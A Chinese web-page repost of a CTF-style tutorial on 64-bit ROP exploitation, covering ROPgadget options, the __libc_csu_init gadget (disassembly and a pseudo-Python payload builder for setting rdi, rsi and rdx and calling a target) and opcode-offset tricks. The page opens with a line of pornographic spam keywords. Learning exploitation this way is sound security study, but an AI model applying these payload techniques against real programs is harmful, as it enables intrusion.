99精品伊人亚洲|最近国产中文炮友|九草在线视频支援|AV网站大全最新|美女黄片免费观看|国产精品资源视频|精彩无码视频一区|91大神在线后入|伊人终合在线播放|久草综合久久中文

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

教程--如何利用__libc_csu_init控制64位寄存器

jf_78858299 ? 來(lái)源:看雪社區(qū) ? 作者:Max_hhg ? 2023-01-30 14:11 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

1

利用ROPgadget尋找ROP

usage: ROPgadget.py [-h] [-v] [-c] [--binary ] [--opcode ]
                    [--string ] [--memstr ] [--depth ]
                    [--only ] [--filter ] [--range ]
                    [--badbytes ] [--rawArch ] [--rawMode ]
                    [--rawEndian ] [--re ] [--offset ]
                    [--ropchain] [--thumb] [--console] [--norop] [--nojop]
                    [--callPreceded] [--nosys] [--multibr] [--all] [--noinstr]
                    [--dump]
參數(shù)
    -h, --help           顯示幫助文檔
    -v, --version        版本號(hào)
    -c, --checkUpdate    檢測(cè)新版本是否可用
    --binary     指定二進(jìn)制文件進(jìn)行分析
    --opcode    在可執(zhí)行段中查找opcode
    --string     在可讀的段中查找字符串
    --memstr     查找單個(gè)byte在所有的可執(zhí)行段中
    --depth 索引擎的深度
    --only          只顯示特別的指令
    --filter        過(guò)濾特定指令
    --range   在地址之間尋找(0x...-0x...)
    --badbytes     拒絕特定指令在gadget的地址下
    --rawArch      指定文件架構(gòu)
    --rawMode      指定源文件的mode
    --rawEndian  指定源文件的endianness
    --re             正則表達(dá)式
    --offset    指定gadget的地址偏移
    --ropchain           ROP chain的生成
    --thumb              在ARM架構(gòu)下使用搜索引擎thumb 模式
    --console            使用交互終端對(duì)于搜索引擎
    --norop              禁止ROP搜索引擎
    --nojop              禁止JOP搜索引擎
    --callPreceded       僅顯示call-preceded的gadgets
    --nosys              禁止SYS搜索引擎
    --multibr            允許多分枝gadgets
    --all                禁止刪除重復(fù)的gadgets,即顯示所有
    --noinstr            禁止gadget指令終端打印
    --dump               輸出gadget bytes

舉個(gè)例子:

圖片

但是對(duì)于64位的來(lái)說(shuō) ROPgadget預(yù)設(shè)的長(zhǎng)度是不夠的。

所以,我們可以使用ROPgadget --binary ./b --depth 100來(lái)加深他的搜索深度。

圖片

2

利用_libc_csu_init制造ROP

常規(guī)方法

我們前面說(shuō)的利用ROPgadget來(lái)尋找,大多都是找到直接設(shè)置某個(gè)寄存器的rop,當(dāng)然也可以使用--ropchain這個(gè)參數(shù)。

下面看看利用_libc_csu_init制造rop。

; void _libc_csu_init(void)
.text:0000000000400650                                         public __libc_csu_init
.text:0000000000400650                         __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650                         ; __unwind {
.text:0000000000400650 41 57                                   push    r15
.text:0000000000400652 41 89 FF                                mov     r15d, edi
.text:0000000000400655 41 56                                   push    r14
.text:0000000000400657 49 89 F6                                mov     r14, rsi
.text:000000000040065A 41 55                                   push    r13
.text:000000000040065C 49 89 D5                                mov     r13, rdx
.text:000000000040065F 41 54                                   push    r12
.text:0000000000400661 4C 8D 25 D8 01 20 00                    lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668 55                                      push    rbp
.text:0000000000400669 48 8D 2D D8 01 20 00                    lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 53                                      push    rbx
.text:0000000000400671 4C 29 E5                                sub     rbp, r12
.text:0000000000400674 31 DB                                   xor     ebx, ebx
.text:0000000000400676 48 C1 FD 03                             sar     rbp, 3
.text:000000000040067A 48 83 EC 08                             sub     rsp, 8
.text:000000000040067E E8 FD FD FF FF                          call    _init_proc
.text:0000000000400683 48 85 ED                                test    rbp, rbp
.text:0000000000400686 74 1E                                   jz      short loc_4006A6
.text:0000000000400688 0F 1F 84 00 00 00 00 00                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690                         loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 4C 89 EA                                mov     rdx, r13
.text:0000000000400693 4C 89 F6                                mov     rsi, r14
.text:0000000000400696 44 89 FF                                mov     edi, r15d
.text:0000000000400699 41 FF 14 DC                             call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]
.text:000000000040069D 48 83 C3 01                             add     rbx, 1
.text:00000000004006A1 48 39 EB                                cmp     rbx, rbp
.text:00000000004006A4 75 EA                                   jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6                         loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 48 83 C4 08                             add     rsp, 8
.text:00000000004006AA 5B                                      pop     rbx
.text:00000000004006AB 5D                                      pop     rbp
.text:00000000004006AC 41 5C                                   pop     r12
.text:00000000004006AE 41 5D                                   pop     r13
.text:00000000004006B0 41 5E                                   pop     r14
.text:00000000004006B2 41 5F                                   pop     r15
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4                         __libc_csu_init endp

這里我們首先可以利用的點(diǎn):

從0x00000000004006AA一直到結(jié)尾,我們可以利用溢出構(gòu)造棧上數(shù)據(jù)來(lái)控制rbx、rbp、r12、r13、r14、r15寄存器的數(shù)據(jù)。如下:

.text:00000000004006AA 5B                                      pop     rbx
.text:00000000004006AB 5D                                      pop     rbp
.text:00000000004006AC 41 5C                                   pop     r12 (=>call addr)
.text:00000000004006AE 41 5D                                   pop     r13 (=>rdx)
.text:00000000004006B0 41 5E                                   pop     r14 (=>rsi)
.text:00000000004006B2 41 5F                                   pop     r15 (=>rdi)
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4

另外,我們可以從0x0000000000400690到0x0000000000400696,將r13賦值給rdx、將r14賦值給rsi、將r15d賦值給edi,但在調(diào)試的過(guò)程中,會(huì)發(fā)現(xiàn)rdi的高32位置0,所以我們可以控制rdx、rsi、rdi,我們可以利用上面的控制r12、rbx(r12=addr rbx=0)來(lái)控制跳轉(zhuǎn)地址,我們也可以(r12=0,rbx=0)實(shí)現(xiàn)不跳轉(zhuǎn)到其他地方。

.text:0000000000400690                         loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 4C 89 EA                                mov     rdx, r13
.text:0000000000400693 4C 89 F6                                mov     rsi, r14
.text:0000000000400696 44 89 FF                                mov     edi, r15d
.text:0000000000400699 41 FF 14 DC                             call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]

從0x000000000040069D到0x00000000004006A4,我們可以控制rbx與rbp的關(guān)系為rbx + 1 = rbp,這樣我們就不會(huì)重復(fù)執(zhí)行上面的loc_400690了,如果要串起來(lái),rbx=0 rbp=1。

.text:000000000040069D 48 83 C3 01                             add     rbx, 1
.text:00000000004006A1 48 39 EB                                cmp     rbx, rbp
.text:00000000004006A4 75 EA                                   jnz     short loc_400690

總結(jié)一下上面的常規(guī)利用方法的腳本:

gadget1 = 0x04006AA
gadget2 = 0x0400690

//控制rbx、rbp、r12、r13、r14、r15
csu_end(rbx,rbp,r12,r13,r14,r15):
    payload = p64(rbx)+p64(rbp)+r64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(gadget1)
    return payload

//如果要跳轉(zhuǎn)到另外一個(gè)地址就傳入地址 不跳轉(zhuǎn)直接缺省
//addr1是中途可以跳轉(zhuǎn)的地址 addr2是最后可以跳轉(zhuǎn)的地址
//控制rdx、rsi、rdi
csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef):
    payload = csu_end(0,1,addr1,rdx,rsi,rdi)
    payload+= p64(gadget2)+'a'*(8*6+0x8)+p64(addr2)//0x8是填充原來(lái)的 8*6實(shí)際是csu_end的六個(gè)地址
    return payload
//addr1設(shè)置成需要跳轉(zhuǎn)的地址 addr2設(shè)置成gadget2 可以進(jìn)行一個(gè)循環(huán)的利用
payload = csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)
payload+= csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)

//當(dāng)然你可以把上面的8*6改換成rbx、rbp、r12、r13、r14、r15,
csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef,rbx,rbp,r12,r13,r14,r15):
    payload = csu_end(0,1,addr1,rdx,rsi,rdi)
    payload+= p64(gadget2)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+'a'*(0x8)+p64(addr2)
    return payload
//我記得這個(gè)可以用來(lái)繞過(guò)沙箱,但那個(gè)題我找不到了 當(dāng)然用其他gadget也可以

opcode

上面說(shuō)的是一個(gè)常規(guī)的用法,還有一種用法是關(guān)于opcode的。

.text:00000000004006AA 5B                                      pop     rbx(=>0)
.text:00000000004006AB 5D                                      pop     rbp (=>1)
.text:00000000004006AC 41 5C                                   pop     r12 (=>call addr)
.text:00000000004006AE 41 5D                                   pop     r13 (=>rdx)
.text:00000000004006B0 41 5E                                   pop     r14 (=>rsi)
.text:00000000004006B2 41 5F                                   pop     r15 (=>rdi)
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4

pop rbx -------> 5B

pop rbp -------> 5D

pop r12 -------> 41 5C

pop r13 -------> 41 5D

pop r14 -------> 41 5E

pop r15 -------> 41 5F

是的,pop r13只比pop rbp多一個(gè)41,其他的寄存器也是一樣的。

pop r12 -------> pop rsp

pop r13 -------> pop rbp

pop r14 -------> pop rsi

pop r15 -------> pop rdi

這一下,我們現(xiàn)在就可以增加控制3個(gè)寄存器了,現(xiàn)在我們可以控制rbx、rbp、r12、r13、r14、r15、rdx、rsi、rdi、rsp、rsi,但是似乎不可能有什么要同時(shí)控制這么多寄存器的,寫(xiě)出來(lái)腳本也沒(méi)有什么意義。

3

其他控制寄存器的方法

控制rax

  • gets、fgets回傳buff(rax=rdi)
  • strcpy,strncpy
  • alarm

控制rcx

  • strcpy可能會(huì)讓ecx = 輸入字串

有些函數(shù)的返回值可能會(huì)影響寄存器,這些地方還是比較隱蔽的。

參考:

ctf-wiki*(https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/)*

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 寄存器
    +關(guān)注

    關(guān)注

    31

    文章

    5434

    瀏覽量

    124467
  • 引擎
    +關(guān)注

    關(guān)注

    1

    文章

    366

    瀏覽量

    22998
  • 地址
    +關(guān)注

    關(guān)注

    1

    文章

    32

    瀏覽量

    11010
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    解析CPU中的寄存器

    8寄存器在16寄存器中,而16寄存器在32
    發(fā)表于 09-19 10:10 ?4700次閱讀

    怎么從sdk中的zynq PL 64寄存器打印64寄存器

    嗨,我想從sdk中的zynq PL 64寄存器打印64寄存器值。代碼是u
    發(fā)表于 04-19 11:16

    xsdk中的64寄存器有什么功能?

    你好,我想讀取和寫(xiě)入xsdk中的64寄存器。我發(fā)現(xiàn)Xil_Out32和Xil_In32用于32寄存器
    發(fā)表于 04-23 10:09

    QT5.12.2交叉編譯報(bào)錯(cuò)是為什么?

    /../../../../aarch64-linux-gnu/lib/../lib/Scrt1.o(.text+0x20): 錯(cuò)誤: 對(duì)‘__libc_csu_init’未定義的引用> /usr/lib/gcc-cross
    發(fā)表于 01-13 09:35

    32寄存器,32寄存器是什么意思

    32寄存器,32寄存器是什么意思  從X8086開(kāi)始學(xué)了一年,第一個(gè)ASM的程序就是變32換16進(jìn)制的程序,不過(guò)現(xiàn)在叫我從新開(kāi)始寫(xiě)ASM程
    發(fā)表于 03-08 17:26 ?1.8w次閱讀

    IA64 應(yīng)用程序寄存器

    IA64 應(yīng)用程序寄存器
    發(fā)表于 01-04 13:11 ?0次下載

    51寄存器的所有寄存器名稱,(包括寄存器每一的作用及用法)資源詳解

    51寄存器的所有寄存器名稱,(包括寄存器每一的作用及用法)資源詳解
    發(fā)表于 10-16 13:04 ?14次下載
    51<b class='flag-5'>寄存器</b>的所有<b class='flag-5'>寄存器</b>名稱,(包括<b class='flag-5'>寄存器</b>每一<b class='flag-5'>位</b>的作用及用法)資源詳解

    RFM反射內(nèi)存5565控制和狀態(tài)寄存器

    3.3 RFM反射內(nèi)存控制和狀態(tài)寄存器 內(nèi)存訪問(wèn)周期RFM5565 反射內(nèi)存控制和狀態(tài)寄存器,偏移值存儲(chǔ)在基址寄存器2。下面指定的偏移量。這
    發(fā)表于 08-13 07:58 ?1809次閱讀

    GPIO寄存器

    每組IO口有10個(gè)寄存器組成,如果芯片有GPIOA~GPIOI,9個(gè)組那么一共有90個(gè)寄存器如果配置一個(gè)IO口需要2個(gè),那么剛好32寄存器
    發(fā)表于 12-08 17:06 ?5次下載
    GPIO<b class='flag-5'>寄存器</b>

    配置STM32寄存器控制GPIO點(diǎn)亮LED

    STM32點(diǎn)亮LED 寄存器方式IO簡(jiǎn)介1、每個(gè)IO可以自由編程,但是IO口寄存器必須按照32字被訪問(wèn)。2、每個(gè)IO端口都有7個(gè)寄存器來(lái)控制
    發(fā)表于 01-13 16:15 ?3次下載
    配置STM32<b class='flag-5'>寄存器</b><b class='flag-5'>控制</b>GPIO點(diǎn)亮LED

    AArch64寄存器介紹

    作為 RISC 架構(gòu),AArch64 提供了大量的通用寄存器。除通用寄存器之外,本節(jié)還會(huì)介紹特殊寄存器、系統(tǒng)控制
    的頭像 發(fā)表于 08-24 09:57 ?6783次閱讀

    安卓如何逆向_Dalvik 寄存器,字節(jié)碼,指令格式 1

    0x01 dalvik寄存器 ``` 32,所有類型, ?
    的頭像 發(fā)表于 01-30 16:24 ?796次閱讀

    1 到 64 可變長(zhǎng)度移位寄存器-HEF4557B

    1 到 64 可變長(zhǎng)度移位寄存器-HEF4557B
    發(fā)表于 03-03 19:45 ?0次下載
    1 到 <b class='flag-5'>64</b> <b class='flag-5'>位</b>可變長(zhǎng)度移位<b class='flag-5'>寄存器</b>-HEF4557B

    16和32寄存器的區(qū)別 16寄存器有哪些

    16寄存器可以存儲(chǔ)2個(gè)字節(jié)(16)的數(shù)據(jù),數(shù)據(jù)范圍為0~65535。在單片機(jī)中,16寄存器通常用于存儲(chǔ)計(jì)數(shù)
    發(fā)表于 03-31 18:14 ?1.8w次閱讀

    單片機(jī)工作寄存器作用 單片機(jī)常用專用寄存器

    除了通用寄存器(如累加、通用寄存器等),單片機(jī)中還會(huì)有特定功能的寄存器,如定時(shí)寄存器、中斷
    的頭像 發(fā)表于 04-08 14:46 ?8435次閱讀